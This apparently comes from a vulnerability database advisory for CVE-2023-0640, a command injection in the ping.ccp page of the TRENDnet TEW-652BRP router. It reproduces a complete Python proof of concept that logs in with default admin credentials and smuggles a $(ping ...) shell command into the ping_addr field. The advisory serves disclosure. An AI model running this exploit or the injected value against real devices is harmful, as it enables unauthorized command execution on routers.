TRENDnet TEW-652BRP 3.04b01 Web Interface ping.ccp command injection

Summaryinfo

A vulnerability labeled as critical has been found in TRENDnet TEW-652BRP 3.04b01. This impacts an unknown function of the file ping.ccp of the component Web Interface. The manipulation results in command injection. This vulnerability is known as CVE-2023-0640. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability was found in TRENDnet TEW-652BRP 3.04b01. It has been classified as critical. Affected is an unknown part of the file ping.ccp of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. CWE is classifying the issue as CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was published 02/02/2023. This vulnerability is traded as CVE-2023-0640. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1202.

A public exploit has been developed in Python. The exploit is shared for download at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')
  exit()

params = {
  'ccp_act': 'ping_v4', 
  'nextPage': 'ping_back.htm', 
  'html_response_page': 'ping_back.htm', 
  'html_response_message': 'The+setting+is+saved.', 
  'html_response_return_page': 'ping_test.htm', 
  'ping_addr': 'abcd"$(ping -c 1 {})"'.format(ping_target_ip), 
  'ping': 'Ping', 
  'deviceList': '', 
  '/friendlyName': ''
  }
method = 'POST'
url = 'http://{}/ping.ccp'.format(device_web_ip)

try:
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Once again VulDB remains the best source for vulnerability data.

Productinfo

Vendor

• TRENDnet

Name

• TEW-652BRP

Version

• 3.04b01

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #77217: Command injection on TRENDnet router TEW-652BRP (by leetsun)

Once again VulDB remains the best source for vulnerability data.

Discussion